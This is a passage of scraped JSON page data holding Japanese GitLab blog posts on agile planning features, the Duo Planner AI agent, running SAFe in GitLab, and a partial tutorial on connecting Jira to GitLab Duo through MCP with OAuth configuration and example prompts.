フィードバックをお聞かせください\n\nぜひこれらの新機能をお試しください。そして、ワークアイテムリストと保存済みビューについてのご意見を[フィードバックイシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/590689)にてお知らせください。皆さまのコメントが、これらの機能のさらなる改善につながります。",[787],"Matthew Macfarlane","2026-03-29","2026-03-23","チームの計画がはかどる、GitLab 18.10のアジャイル新機能",[792,793,745],"agile","features","全ワークアイテムを1つのリストで管理し、よく使うビューを保存して再利用。チームの計画作業が格段に楽になります。",{"featured":13,"template":796,"slug":797},"BlogPost","agile-planning-gets-a-boost-from-new-features-in-gitlab-18-10",{"content":799,"config":810},{"title":800,"description":801,"heroImage":802,"date":803,"body":804,"category":640,"tags":805,"authors":807},"コンテキストスイッチを排除した効率的な計画","GitLab Duo Planner Agentが、プロダクトマネージャーとエンジニアリングマネージャーが最も重要な業務に集中できるよう支援し、タスクを簡素化して時間を節約する方法をご紹介します。\n\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2025-10-28","ソフトウェア開発チームは、難しいバランス調整に日々直面しています。数十ものタスク、限られた時間、そして次に取り組むべき適切な作業の優先順位を考えて選択するという絶え間ないプレッシャーです。\n\n要件の構造化、バックログの管理、リリースの管理、ステータス更新の作成といった計画のオーバーヘッドが、戦略的思考に費やす貴重な時間を奪っています。\n\nつまり、プロダクトを前進させる、高価値な意思決定に割ける時間が減少してしまうのです。\n\nそこで開発されたのが[GitLab Duo Planner](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/)です。これは、[GitLab Duo Agent Platform](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/)上に構築されたAIエージェントで、GitLab内で直接プロダクトマネージャーをサポートします。\n\nGitLab Duo Plannerは、単なる汎用的なAIアシスタントではありません。多くのお客様と同様に、日々こうした課題に直面しているGitLabのプロダクトチームとエンジニアリングチームが、計画ワークフローを最適化し、チーム連携と予測可能性を向上させながらオーバーヘッドを削減できるようにするために、特別に構築されたものです。\n\n## 計画を支援するAI\n\n既存の計画ワークフローには、3つの大きな問題があります：\n\n1. 計画のずれが生じやすい - 計画外の作業や放置された作業により、計画への信頼が低下する。\n2. デベロッパーの作業を中断させる - ステータス更新のための絶え間ない中断が、作業の流れを断ち切る。\n3. 不透明性 - 隠れたリスクが、手遅れになってから表面化する。\n\nチームの働き方を変革するGitLab Duo Plannerは、漠然としたアイデアを数分で構造化された要件に変換するなど、手動のオーバーヘッドを削減します。スプリントを脱線させる前に、隠れたバックログ問題を可視化し、RICEやMoSCoWフレームワークを即座に適用して、確信を持って優先順位付けの意思決定を行えます。プラットフォーム全体でGitLabコンテキストを認識しているため、GitLab Duo Plannerとのすべてのやり取りが時間を節約し、意思決定の質を向上させます。これは、GitLab固有の深いドメイン専門知識とコンテキスト認識をもたらす基盤となるエージェントアーキテクチャによって実現されています。\n\n## チームのために構築\n\nGitLab Duo Plannerは、作業アイテム（エピック、イシュー、タスク）を活用し、作業分解構造、依存関係分析、工数見積もりのニュアンスを理解するので、可視性、連携、デリバリーへの確信を高める上で最適です。\n\n* プラットフォームアプローチ - ポイントソリューションとは異なり、Duo Plannerは計画から開発、テストまで、GitLabプラットフォーム全体をオーケストレーションし、チームとワークフロー全体の可視性を向上します。\n\n* フローに組み込まれた設計 - ツール間のコンテキストスイッチや、必要な情報を取得するためにGitLabの複雑な階層をたどる必要がなくなります。Duo Plannerは、ソフトウェア開発ライフサイクル全体のユーザーからのコントリビュート、コラボレーション、透明性の維持を可能にします。\n\n* 時間と労力を節約 - Duo Plannerを使用して、繰り返しの調整作業からチームを解放し、デリバリーの予測可能性を向上させ、コミットメントの見落としを減らしながら、実際に成果を生み出す要素に集中できるようになります。\n\n## 複雑な計画をシンプルに\n\nGitLab Duo Plannerは、計画スコープ内で安全かつ制約された環境を提供し、プロジェクトの可視性を確保しながら、ソフトウェアの計画とデリバリーのさまざまな段階で支援します。\n\nエージェントは、次の6つのフローを支援します：\n\n* 優先順位付け - RICE、MoSCoW、WSJFなどのフレームワークを適用して、作業アイテムをインテリジェントにランク付け。\n\n* 作業分解 - イニシアチブをエピック、フィーチャー、ユーザーストーリーに分解して、要件を構造化。\n\n* 依存関係分析 - ブロックされた作業を特定し、アイテム間の関係を理解して、ベロシティを維持。\n\n* 計画 - スプリント、マイルストーン、または四半期ごとの計画を整理。\n\n* ステータスレポート - プロジェクトの進捗状況、リスク、ブロッカーのサマリーを生成して、デリバリーを追跡。\n\n* バックログ管理 - 古いイシュー、重複、または改善が必要なアイテムを特定して、データの健全性を向上。\n\n\n以下は、GitLab Duo Plannerがイニシアチブのステータスを確認する例です：\n\n\u003Cdiv>\u003Ciframe src=\"https://player.vimeo.com/video/1131065078?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Duo Planner Agent\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cp>\u003C/p>\n\nDuo Plannerは、現在のページコンテキストを持つDuo Chatサイドパネル内のカスタムエージェントとして利用できます。\n\n\u003Cp>\u003C/p>\n\n![Duo Plannerは、Duo Chatサイドパネル内のカスタムエージェントとして利用可能](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/ener1mkyj9shg6zvtp4f.png)\n\n\u003Cp>\u003C/p>\n\nエピックリンクを提供して、Duo Plannerにイニシアチブのステータスを尋ねてみましょう。\n\n![エピックリンクを提供してDuo Plannerにイニシアチブのステータスを尋ねる](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/gzv2xudegtjhtesz1oaz.png)\n\n\u003Cp>\u003C/p>\n\nすると、概要、マイルストーンの現在のステータス、進行中のアイテム、依存関係、ブロッカー、そして実行可能な推奨事項を含む構造化されたサマリーを受け取れます。\n\n![構造化されたサマリー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/guoyqe1b9bstmbjzunez.png)\n\n\u003Cp>\u003C/p>\n\n次に、ステークホルダーと共有するためのエグゼクティブサマリーを依頼してみましょう。\nGitLab Duo Plannerは、何時間もの手作業での分析やレポート作成の労力を削減し、意思決定の迅速化とすべてのステークホルダーへの最新情報の共有を支援します。\n\n![エグゼクティブサマリーを依頼](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323689/xs9zxawqrytfu54ejx2b.png)\n\n\n\u003Cp>\u003C/p>\n\n![エグゼクティブサマリーの出力](https://res.cloudinary.com/about-gitlab-com/image/upload/v1761323690/bsbpvjaqnymobzg4knhu.png)\n\n\u003Cp>\u003C/p>\n\nGitLab Duo Plannerで試せるその他のプロンプトの例をいくつかご紹介します：\n\n* 「\"boards\"ラベルが付いたバグのうち、ユーザーへの影響を考慮して最初に修正すべきものはどれですか？」\n* 「これらのエピックを、第1四半期の戦略的価値に基づいてランク付けしてください。」\n* 「新機能に対して技術的負債の優先順位付けを支援してください。」\n* 「このユーザーストーリーを実装するために必要なタスクは何ですか？」\n* 「このプロジェクトの段階的アプローチを提案してください:（プロジェクトのURLを挿入）。」\n\n## 次のステップ\n\nGitLab Duo Plannerは、アジャイル環境で働くプロダクトマネージャーとエンジニアリングマネージャーに意図的に焦点を当てています。その理由は、特定性がパフォーマンスを向上させるからです。GitLabの計画ワークフローとアジャイルフレームワークについてDuo Plannerを深く学習させることで、汎用的な提案ではなく、信頼性の高い実行可能なインサイトを提供します。\n\nプラットフォームを進化させる中で、それぞれが特定のワークフローに最適化されつつ、統一されたインテリジェンスレイヤーに貢献する、専門化されたエージェント群を構想しています。今日のソフトウェアチーム向けプランナーは、AIがすべてのチームの作業優先順位付けを変革する道のりの始まりに過ぎません。\n\n> GitLabの既存のお客様で、独自のプロンプトでGitLab Duo Plannerを試してみたい場合は、前提条件、ユースケースなどを記載した[ドキュメント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/planner/)をご覧ください。",[806,792,793,745],"AI/ML",[808,809],"Aathira Nair","Amanda Rueda",{"featured":13,"template":796,"slug":811},"ace-your-planning-without-the-context-switching",{"content":813,"config":823},{"title":814,"description":815,"authors":816,"heroImage":817,"date":818,"body":819,"category":640,"tags":820},"GitLabで実現するサイロのないSAFe","Scaled Agile Framework（SAFe）をDevSecOpsプラットフォームのネイティブ機能にマッピングする方法と、そこから得られるメリットについて学びましょう。",[809],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097569/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2811%29_2hcwWx49wQ7CHfvhhkVH6S_1750097569126.png","2025-04-08","あなたの組織がScaled Agile Framework（SAFe）を導入し、エンタープライズ規模へとスケールしようとするとき、何が起こるのか考えてみましょう。複数のチームが複雑な製品の開発に取り組んでおり、すべての作業を調整する手段が必要になります。しかし、ここでよくある問題が発生します。計画はあるツールで行い、実際の開発作業はまったく別の場所で進められているという状況です。\nこのような分断は、日常業務においてさまざまな問題を引き起こします。デベロッパーは複数のシステムを行き来し、プロダクトマネージャーは正確な進捗状況を把握できず、誰もが情報を手作業でほかの場所へとコピーすることに時間を浪費します。これこそがまさに、SAFeが解消しようとしている「分断された体験」の典型です。\nすでに開発チームがGitLabを使ってソースコード管理、CI/CD、セキュリティを行っている場合、SAFeフレームワークでの計画管理にもGitLabを活用できるのかどうか疑問に思うかもしれません。幸いなことに、GitLabのアジャイルプロジェクト管理機能はSAFeを強力にサポートしています。この記事では、GitLabがSAFeの各種概念やセレモニーとどのように対応しているのかを紹介します。しかも、すべてデベロッパーがすでに慣れ親しんでいる同じDevSecOpsプラットフォーム上で実現できます。\n## SAFeとは？\nSAFe（Scaled Agile Framework）は、アジャイルの考え方をスピードや方向性、顧客重視の姿勢を失うことなく、大規模な組織全体に広げるための手法です。少人数チームで使われる柔軟かつ反復的なアジャイルの進め方を、複数のチームやロードマップ、関係者を抱える大規模組織にも適用できるように設計されています。このフレームワークを活用することで、組織全体の方向性が揃い、計画と実行が一貫して進むようになります。プロダクトマネージャーにとっては、SAFeを導入することで、戦略と実行をしっかりつなげることができ、とにかく早くリリースするだけでなく、チームで方向性を揃え、優先順位に基づいて本当に出すべきものをリリースできるようになります。\nSAFeはサイロを減らし、チーム間のコラボレーションを促進するとともに、単なる作業の実行ではなく、「顧客が求める成果」を中心にチームをまとめます。GitLabにSAFeを統合すると、可視性、トレーサビリティ、成果のすべてが、1か所に集約され、その効果はさらに高まります。\n## GitLabにおけるSAFeの用語対応\nまず、SAFeの概念がGitLab内でどのように対応するかを確認しましょう。\n| SAFe | GitLab |\n| :---- | :---- |\n| Epic | トップレベルエピック |\n| Capability | サブエピック（レベル1） |\n| Feature | サブエピック（レベル2） |\n| User Story | イシュー |\n| Task | タスク |\n| Team | カスタムフィールド/範囲指定したラベル |\n| Sprint | イテレーション |\n| Program Increment (PI) | マイルストーン |\n| Value Stream | トップレベルグループ |\n| Agile Release Train (ART) | トップレベルグループ |\n\u003Cbr>\u003C/br>\nこの対応表をガイドとして活用すると、GitLabをSAFeの実装と連動させて構築できます。グループ構造を使うと、バリューストリームやART（Agile Release Train）単位で整理できます。また、最大7階層までネスト可能なエピックによる作業アイテムの階層構造により、複雑なプロダクトポートフォリオにも対応できる深さを備えています。ポートフォリオレベル（トップレベルグループ）、プログラムレベル（サブグループ）、チームレベル（プロジェクト）といった、どの階層で作業していても、GitLabの組織構造はSAFeの階層とぴったり合致します。\n## GitLabでのSAFeのセレモニーのサポート\nここからが本題です。GitLab上でSAFeのセレモニーを実際にどう実行するのか、順を追って見ていきましょう。\n### PIプランニング\nチーム間の調整と依存関係の管理を促進し、PIプランニングを成功させるために、GitLabでは以下のような機能が提供されています。\n* [ロードマップ](https://docs.gitlab.com/user/group/roadmap/)ビューを使用して、複数のチームや期間にわたるフィーチャーを可視化する\n* フィーチャーをPI[マイルストーン](https://docs.gitlab.com/user/project/milestones/)に割り当てる\n* 見つかったチーム間の[依存関係](https://docs.gitlab.com/user/project/issues/related_issues/#blocking-issues)を文書化し、視覚化する\nGitLabでは、エピックボード（チームごとの割り当てを表示するように設定可能）とロードマップビュー（ガントチャートのように時間軸でフィーチャーを表示）を使い分けることで、柔軟にPIプランニングを進めることができます。タイムラインかチーム構成のどちらに注目するかに応じて、プランニング中にビューを切り替えられます。\n![ロードマップビューとエピックボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097576746.gif)\n\u003Cbr>\u003C/br>\n![ガントチャート付きロードマップビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097576747.png)\n### リファインメント\nプロダクトマネージャーにとって、効果的なリファインメントを行うには、フィーチャーのバックログを明確に把握しておくことが重要です。GitLabなら、リファインメントをそのままGitLab上で実施できます。会議中に1つのツールを更新して、その後に別のツールを更新する必要はもうありません。\nGitLabでは、以下の機能によってリファインメントを効率的に進められます。\n* 状態ごとにフィーチャーを整理できる[エピックボード](https://docs.gitlab.com/user/group/epics/epic_boards/)\n* ストーリーポイントを[概要](https://docs.gitlab.com/user/group/epics/epic_boards/#view-count-of-issues-weight-and-progress-of-an-epic)ビューで直接確認できる機能\n* 作業アイテムをその場で操作しながら、全体の文脈を見失わない包括的な[drawerビュー](https://docs.gitlab.com/user/group/epics/manage_epics/#open-epics-in-a-drawer)\n* エピックから[子イシュー](https://docs.gitlab.com/user/group/epics/manage_epics/#add-an-issue-to-an-epic)を直接作成・リンクできる機能\n![SAFe - 画像3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097576749.gif)\n### スプリント計画\n次のスプリントでチームが取り組む作業を決めるタイミングでは、GitLabの以下の機能を活用できます。\n* バックログを包括的に確認できる[イシューボード](https://docs.gitlab.com/user/project/issue_board/)\n* ボード上にユーザーストーリーの[合計ウェイト](https://docs.gitlab.com/user/project/issue_board/#sum-of-issue-weights)を直接表示\n* イシューを簡単にイテレーション間で移動できる機能\n* スプリント間のストーリー移動を効率化する折りたたみ可能なビュー\nつまり、すべてを1か所に集約して管理でき、プランニングミーティングではツールを行き来するのではなく、実際の計画に集中できます。\n![GitLabで行うスプリント計画](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752378662/Blog/ynmq3wnf77yk6xkehkda.gif )\n* GitLabを活用したスクラムの進め方については、[こちら](https://docs.gitlab.com/tutorials/scrum_events/)のチュートリアルをご覧ください。アジャイルプランニングやスプリントの進捗管理におけるGitLabの便利な機能を詳しく確認できます。*\n### デイリースタンドアップ\nデイリースタンドアップでは、チーム全員がボードを囲んで、誰が何に取り組んでいるか、どこで詰まっているか、どの作業がレビュー待ちかを、すべて単一のビューで確認できます。GitLabでは、以下の機能が開発チームのデイリースタンドアップに役立ちます。\n* 現在のスプリントに絞った[イテレーションスコープ付き](https://docs.gitlab.com/user/project/issue_board/#iteration-lists)のボードを作成\n* 各カード上にストーリーポイント/ウェイトを直接表示\n* コンテキストを失わずに詳細にアクセスできる[drawerビュー](https://docs.gitlab.com/user/project/issues/managing_issues/#open-issues-in-a-drawer)の活用\n* [ヘルスステータス](https://docs.gitlab.com/user/project/issues/managing_issues/#health-status)でリスクのあるタスクをハイライト表示\n![デイリースタンドアップのボード](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097576751.gif)\n### スプリントレビュー\nチームの進捗状況を継続的に把握したいですか？GitLabでは、以下のような包括的なメトリクスを利用できます。\n* イテレーションごとの[バーンダウンチャートおよびバーンアップチャート](https://docs.gitlab.com/user/group/iterations/#iteration-burndown-and-burnup-charts)\n* ベロシティのトラッキング\n* [リードタイムおよびサイクルタイム](https://docs.gitlab.com/user/group/value_stream_analytics/#lifecycle-metrics)のメトリクス\n* チーム単位でスコープ設定できるダッシュボード\nこれらの指標により、チームのスピードが上がっているか、どこでつまずいているか、そして次回のレトロスペクティブで話し合うべきポイントを明確に把握できます。\n![バーンダウンチャートとバーンアップチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097577/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097576755.png)\n## 統合プラットフォームが強みとなる5つの理由\nSAFeのセレモニーを管理できる計画ツールはたくさんあります。でも、GitLabが本当に他と違うと私が感じているのには、明確な理由があります。\n1. **頭の切り替えが不要** - 計画、コーディング、テスト、セキュリティのすべてを、1か所で完結できます。\n2. **すべてがつながっている** - 大きなエピックからコード、デプロイまで、作業の流れをたどれます。\n3. **全員が同じ認識を持てる** - デベロッパー、プロダクト担当、セキュリティチームが、同じツール上で連携できます。\n4. **完全な可視性** - ステークホルダーは、進捗の確認を1か所で行えます。\n5. **全体像が見える** - 計画と開発のメトリクスをまとめて確認できるため、本当の状況が明確になります。\nもしあなたの開発チームがすでにGitLabを使いこなしているなら、プランニングのためだけに別のツールへ切り替えたり、複雑なインテグレーションを無理やり組み合わせたりする必要はありません。SAFeプランニングをGitLabに取り込むことで、チーム全体にとってはるかにスムーズな体験が得られます。\n## 実装の原則\n私は従来型のSAFeツールからGitLabへの移行に取り組むチームと協力してきましたが、その経験から学んだことがあります。それは、以前のツールをそのまま再現しようとするのではなく、**それぞれのセレモニーが何を目的としているか**に注目することが重要だということです。\nGitLabの利点を最大限に活用しているのは、GitLabのネイティブ機能を素直に受け入れて、それに逆らわずに活用しているチームです。もちろん、SAFeの概念をどうマッピングするか、ワークフローをどう構築するかを最初に整理するには少し手間がかかります。しかし、一度その形ができてしまえば、プロセスは複雑になるどころか、むしろシンプルになります。\n成功のカギは、全員が従うべき規則を定義することです。どのラベルが何を意味するのか？ チームをどう追跡するのか？エピックとイシューにはそれぞれ何を入れるのか？こうした判断を事前に少し整理しておくだけで、複数ツール間の調整にかかっていた手間を解消できる、直感的なシステムが手に入ります。\n## 導入を始める\nさて、試してみる準備はできましたか？GitLabでSAFeを導入するためのステップは以下のとおりです。\n1. **構造を整える** - [組織構成](https://about.gitlab.com/ja-jp/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/)に合わせて、グループやサブグループを作成します。\n2. **作業の詳細を定義する** - [エピック](https://about.gitlab.com/ja-jp/blog/best-practices-to-set-up-organizational-hierarchies-that-scale/)、[イシュー](https://docs.gitlab.com/user/project/issues/managing_issues/)、[タスク](https://docs.gitlab.com/user/tasks/)をどのように使い分けるかを定義します。\n3. **イテレーションを作成する** - [スプリントのスケジュール](https://docs.gitlab.com/user/group/iterations/#create-an-iteration-cadence)を設定します。\n4. **マイルストーンを追加** - GitLab上でプログラムインクリメント（PI）を表す[マイルストーン](https://docs.gitlab.com/user/project/milestones/#create-a-milestone)を作成します。\n5. **ボードを構築する** - セレモニーごとに異なるビューを用意します。\n6. **規則について合意する** - ラベルやカスタムフィールドの使い方を文書化し、チームで統一します。\nこれらのポイントを最初にしっかり考えておくことで、後々のトラブルや混乱を避けられます。そして、初日から完璧にする必要はないことを忘れないでください。運用しながら学び、必要に応じていつでも調整できます。\n## すべてをまとめる\nGitLabは、SAFeを実行するための堅実な基盤を提供します。特に、あなたの開発チームがすでにGitLabに慣れ親しんでいる場合には最適です。計画と開発を同じツール上で進めることで、煩雑なハンドオフが不要になり、コラボレーションが格段にしやすくなり、すべての動きがよりスピーディになります。\nGitLabのプランニングツールの魅力は、あなたのチームに合わせて柔軟にSAFeをカスタマイズできることです。 決められた型にはまる必要はありません。チームが成熟し、ニーズが変われば、それに応じて運用方法も進化させることができます。\n> サイロ化したプランニングにさよならして、もっと快適なワークフローを体験してみませんか？まずは[無料トライアルを開始](https://about.gitlab.com/ja-jp/free-trial/?hosted=saas)して、GitLabがどのようにSAFe導入を変革できるかを実感してください。\n*💡 このトピックに興味を持った方は、関連記事の[アジャイルソフトウェア開発におけるGitLabの活用法](https://about.gitlab.com/ja-jp/blog/gitlab-for-agile-software-development/)もぜひご覧ください*\n",[792,821,793,745,822],"DevSecOps platform","tutorial",{"slug":824,"featured":13,"template":796},"safe-without-silos-in-gitlab",{"category":656,"slug":654,"posts":826},[827,840,854],{"content":828,"config":838},{"heroImage":829,"body":830,"authors":831,"updatedDate":833,"date":834,"title":835,"tags":836,"description":837,"category":654},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643639/sapu29gmlgtwvhggmj6k.png","ソフトウェア開発の管理では、複数のツールを同時に扱うことが求められます。Jiraで課題を追跡し、IDEでコードを記述し、GitLabでコラボレーションするといった具合です。こうしたプラットフォーム間のコンテキストの切り替えは集中力を妨げ、デリバリーを遅らせます。\n\nGitLab Duo Agent Platformの[MCP](https://about.gitlab.com/topics/ai/model-context-protocol/)サポートにより、Jiraをはじめ、MCPに対応するあらゆるツールを、AIを活用した開発環境に直接接続できるようになりました。課題の照会、チケットの更新、ワークフローの同期など、すべてを自然言語で、IDEを離れることなく実行できます。\n\n## この記事で学べること\n\nこのチュートリアルでは、以下の内容を解説します。\n\n* **Jira/Atlassian OAuthアプリケーションのセットアップ** — セキュアな認証を設定します\n* **GitLab Duo Agent Platformの設定** — GitLab Duo Agent PlatformをMCPクライアントとして設定します\n* **3つの実践的なユースケース** — 実際のワークフローのデモをご覧ください\n\n## 前提条件\n\n開始する前に、以下の要件を満たしていることをご確認ください。\n\n| 要件 | 詳細 |\n| ---- | ----- |\n| **GitLabインスタンス** | Duo Agent Platformが有効なGitLab 18.8以降 |\n| **Jiraアカウント** | OAuthアプリケーションを作成できる管理者権限を持つJira Cloudインスタンス |\n| **IDE** | GitLab Workflow拡張機能がインストールされたVisual Studio Code |\n| **MCPサポート** | GitLabでMCPサポートが有効化済み |\n\n\n## アーキテクチャの概要\n\nGitLab Duo Agent Platformは**MCPクライアント**として機能し、Atlassian MCPサーバーに接続してJiraのプロジェクト管理データにアクセスします。Atlassian MCPサーバーは認証を処理し、自然言語のリクエストをAPI呼び出しに変換して、構造化されたデータをGitLab Duo Agent Platformに返します。このプロセス全体を通じて、セキュリティと監査管理が維持されます。\n\n## パート1：Jira OAuthアプリケーションの設定\n\nGitLab Duo Agent PlatformをJiraインスタンスに安全に接続するには、Atlassian Developer ConsoleでOAuth 2.0アプリケーションを作成する必要があります。これにより、GitLabのMCPサーバーにJiraデータへの認可されたアクセス権が付与されます。\n\n### セットアップ手順\n\n手動で設定する場合は、以下の手順に従ってください。\n\n1. **Atlassian Developer Consoleへのアクセス**\n\n   * [developer.atlassian.com/console/myapps](https://developer.atlassian.com/console/myapps)にアクセスします。\n\n   * Atlassianアカウントでサインインします。\n\n2. **新しいOAuth 2.0アプリの作成**\n\n   * 「**Create**」→「**OAuth 2.0 integration**」をクリックします。\n\n   * アプリ名を入力します（例：「gitlab-dap-mcp」）。\n\n   * 利用規約に同意し、「**Create**」をクリックします。\n\n3. **権限の設定**\n\n   * 左サイドバーの「**Permissions**」に移動します。\n\n   * 「**Jira API**」を追加し、以下のスコープを設定します。\n\n     * `read:jira-work` — 課題、プロジェクト、ボードの読み取り\n\n     * `write:jira-work` — 課題の作成と更新\n\n     * `read:jira-user` — ユーザー情報の読み取り\n\n4. **認可の設定**\n\n   * 左サイドバーの「**Authorization**」に移動します。\n\n   * お使いの環境のコールバックURLを追加します（`https://gitlab.com/oauth/callback`）。\n\n   * 変更を保存します。\n\n5. **認証情報の取得**\n\n   * 「**Settings**」に移動します。\n\n   * 「**Client ID**」と「**Client Secret**」をコピーします。\n\n   * これらの認証情報はMCP設定に必要なため、安全な場所に保管してください。\n\n\n### インタラクティブウォークスルー：Jira OAuthのセットアップ\n\n以下の画像をクリックして開始してください。\n\n\n[![Jira OAuthセットアップツアー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772644850/wnzfoq43nkkfmgdqldmr.png)](https://gitlab.navattic.com/jira-oauth-setup)\n\n\n## パート2：GitLab Duo Agent PlatformのMCPクライアントの設定\n\nOAuth認証情報の準備ができたら、GitLab Duo Agent PlatformをAtlassian MCPサーバーに接続するための設定を行います。\n\n### MCP設定ファイルの作成\n\nGitLabプロジェクトの `.gitlab/duo/mcp.json` にMCP設定ファイルを作成します。\n\n\n```json\n{\n  \"mcpServers\": {\n    \"atlassian\": {\n      \"type\": \"http\",\n      \"url\": \"https://mcp.atlassian.com/v1/mcp\",\n      \"auth\": {\n        \"type\": \"oauth2\",\n        \"clientId\": \"YOUR_CLIENT_ID\",\n        \"clientSecret\": \"YOUR_CLIENT_SECRET\",\n        \"authorizationUrl\": \"https://auth.atlassian.com/oauth/authorize\",\n        \"tokenUrl\": \"https://auth.atlassian.com/oauth/token\"\n      },\n      \"approvedTools\": true\n    }\n  }\n}\n```\n\n`YOUR_CLIENT_ID` と `YOUR_CLIENT_SECRET` は、パート1で生成した認証情報に置き換えてください。\n\n### GitLabでMCPを有効化\n\n1. 「**グループ設定**」→「**GitLab Duo**」→「**Configuration**」に移動します。\n2. 「Allow external MCP tools」にチェックが入っていることを確認します。\n\n### 接続の確認\n\nVS Codeでプロジェクトを開いてGitLab Duo Agent Platformのチャットで次のように入力してください。\n\n```text\nWhat MCP tools do you have access to?\n```\n\n次に、以下のように入力します。\n\n```text\nTest the MCP JIRA configuration in this project\n```\n\nこの時点で、IDEからAtlassian MCPウェブサイトにリダイレクトされ、アクセスの承認を求められます。\n\n![Atlassian MCPウェブサイトへのリダイレクト](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/z5acqjgguh0damnnde9g.png \"MCPのAtlassianウェブサイトへのリダイレクト\")\n\n\u003Cbr>\u003C/br>\n\n![アクセスの承認](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/rwowamm8nsubhpixtn3i.png \"アクセスの承認\")\n\n\u003Cbr>\u003C/br>\n\n![JIRAインスタンスを選択して承認](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/chuzqd0jeptfwvoj7wjr.png \"JIRAインスタンスを選択して承認\")\n\n\u003Cbr>\u003C/br>\n\n![成功！](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/bsgti5iste2bzck19o5y.png \"成功！\")\n\n\u003Cbr>\u003C/br>\n\n### MCPダッシュボードでの確認\n\nGitLabには、IDEに組み込みの**MCPダッシュボード**も用意されています。\n\nVS CodeまたはVSCodiumで、コマンドパレット（macOSでは `Cmd+Shift+P`、Windows/Linuxでは `Ctrl+Shift+P`）を開いて「**GitLab: Show MCP Dashboard**」を検索してください。ダッシュボードは新しいエディタータブで表示され、以下の情報を確認できます。\n\n* 設定済みの各MCPサーバーの**接続ステータス**\n* サーバーが公開している**利用可能なツール**（例：`jira_get_issue`、`jira_create_issue`）\n* **サーバーログ** — リアルタイムで呼び出されているツールを確認可能\n\n![MCPサーバーのダッシュボードとステータス](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/mmvdfchucacsydivowvn.png \"MCPサーバーのダッシュボードとステータス\")\n\n\u003Cbr>\u003C/br>\n\n![サーバーの詳細と権限](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/tcocgdvovp2dl42pvfn8.png \"サーバーの詳細と権限\")\n\n\u003Cbr>\u003C/br>\n\n\n![MCPサーバーログ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643466/mougvqqk1bozchaufsci.png \"MCPサーバーログ\")\n\n\u003Cbr>\u003C/br>\n\n### インタラクティブウォークスルー：MCPのテスト\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005495?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Testing MCP\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## パート3：実践的なユースケース\n\n統合の設定が完了したら、JiraをGitLab Duo Agent Platformへの接続を実現できる3つの実践的なワークフローを見ていきましょう。\n\n### プランニングアシスタント\n\n**シナリオ：** スプリントプランニングの準備として、バックログをすばやく評価し、優先事項を把握し、ブロッカーを特定する必要があります。\n\nこのデモでは以下の操作を紹介します。\n\n* バックログの照会\n* 未割り当ての高優先度課題の特定\n* AIによるスプリント推奨の取得\n\n#### プロンプト例\n\nGitLab Duo Agent Platformのチャットで以下のプロンプトをお試しください。\n\n```text\nList all the unassigned issues in JIRA for project GITLAB\n```\n\n```text\nSuggest the two top issues to prioritize and summarize them. Assign them to me.\n```\n\n### インタラクティブウォークスルー：プロジェクトプランニング\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005462?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Project Planning\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player. js\">\u003C/script>\n\n### コードからの課題トリアージと作成\n\n**シナリオ：** コードレビュー中にバグを発見し、IDEを離れることなく、関連するコンテキストに沿ってJiraの課題を作成したい場合です。\n\nこのデモでは以下の手順を紹介します。\n\n* コーディング中のバグの特定\n* 自然言語を使ったJira課題の詳細な作成\n* コードのコンテキストに沿った課題フィールドの自動入力\n* 現在のブランチへの課題のリンク\n\n#### プロンプト例\n\n```text\nSearch in JIRA for a bug related to: Null pointer exception in PaymentService.processRefund().\nIf it does not exist create it with all the context needed from the code. 